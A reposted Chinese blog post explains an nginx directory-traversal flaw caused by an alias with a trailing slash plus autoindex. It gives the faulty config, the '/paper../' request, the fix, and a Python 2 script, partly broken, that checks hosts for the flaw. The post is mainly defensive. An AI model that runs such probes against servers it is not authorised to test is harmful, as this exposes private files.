博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
nginx配置错误目录遍历漏洞
阅读量:6965 次
发布时间:2019-06-27

本文共 2575 字,大约阅读时间需要 8 分钟。

  hot3.png

nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理

在nginx中开启autoindex,配置不规范而造成目录遍历漏洞

配置如下:

server {        listen 80;        server_name *.*.*.*;        index index.htm index.html;        root /home/wwwroot/www;        access_log off;        location /paper {                alias /home/wwwroot/paper/;                autoindex on;        } }

注意 这里/home/wwwroot/paper/; 有个/

当你浏览http://*.*.*.*:80/paper/,正常情况应该遍历/home/wwwroot/paper/这个目录,但是如果访问http://*.*.*.*:80/paper../, 这个的话就会遍历/home/wwwroot/这个目录了 nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理

在nginx中开启autoindex,配置不规范而造成目录遍历漏洞

配置如下:

server {    listen    80;    server_name *.*.*.*;    index index.htm index.html;    root  /home/wwwroot/www;    access_log off;    location /paper {           alias /home/wwwroot/paper/;           autoindex on;       }}

注意 这里/home/wwwroot/paper/; 有个/

当你浏览http://*.*.*.*:80/paper/,正常情况应该遍历/home/wwwroot/paper/这个目录,但是如果访问http://*.*.*.*:80/paper../, 这个的话就会遍历/home/wwwroot/这个目录了 nginx(Tested at 1.1.10) sebug建议:

使用如下配置:

location /paper {        alias /home/wwwroot/paper; }

或:

location /paper/ {        alias /home/wwwroot/paper/;}

接下来介绍一个自己测试用到的检测脚本(用Python编写):

#!/usr/bin/env python# -*- coding: utf_8 -*-# nginx配置错误目录遍历漏洞# Date: 2019-01-14import sysimport urllib2from lxml import etreepocs = ['logs', 'test', 'paper']def nginx_test(ip, port):    try:        for poc in pocs:            try:                res1 = urllib2.urlopen("http://" + ip + ":" + port + "/" + poc, timeout = 5)                res_1 = res1.read()                code1 = res1.getcode()                server1 = res_1.getserver()                cmp_str1 = 'Index of /' + poc + '/'                html1 = etree.HTML(res_1)                title1 = html1.xpath('//title')                # print title1[0].text                if code1 == 200 and cmp_str1 == title1[0].text:                    res2 = urllib2.urlopen("http://" + ip + ":" + port + "/" + poc +"../", timeout = 3)                    res_2 = res2.read()                    code2 = res2.getcode()                    cmp_str2 = 'Index of /' + poc + '../'                    html2 = etree.HTML(res_2)                    title2 = html2.xpath('//title')                    # print title2[0].text                    if code2 == 200 and cmp_str2 == title2[0].text and res_1 is not res_2:                        print "True"                        return True            except Exception,e:                print 'error:', e                pass        return False    except Exception,e:        print e        return Falsenginx_test("IP", "PORT")

 

转载于:https://my.oschina.net/665544/blog/3001399

你可能感兴趣的文章
配置https服务器系列之一:自制ca证书并配置到nodejs-express服务器
查看>>
poj3625 最小生成树 Prim
查看>>
C# 无法将类型为“__DynamicallyInvokableAttribute”的对象强制转换为类型...
查看>>
C# WinForm 技巧十: winfrom 全屏自适应屏幕分辨率
查看>>
js截取字符串substr和substring的区别
查看>>
响应式调研资料
查看>>
Jenkins 修改主目录正解 workspace
查看>>
set git p4merge tool
查看>>
Using SetAdded and SetModified to Change RowState
查看>>
[Google Guava] 3-缓存
查看>>
php的几种运行模式
查看>>
Python 爬虫:煎蛋网妹子图
查看>>
vim常用命令
查看>>
021、镜像小结(2019-01-14 周一)
查看>>
VS CODE 快捷键
查看>>
一只老鼠夹
查看>>
苹果新的编程语言 Swift 语言进阶(一)--综述
查看>>
windows7 修改环境变量 和 用不用重启电脑的讨论
查看>>
我的第一篇paper
查看>>
分页查询
查看>>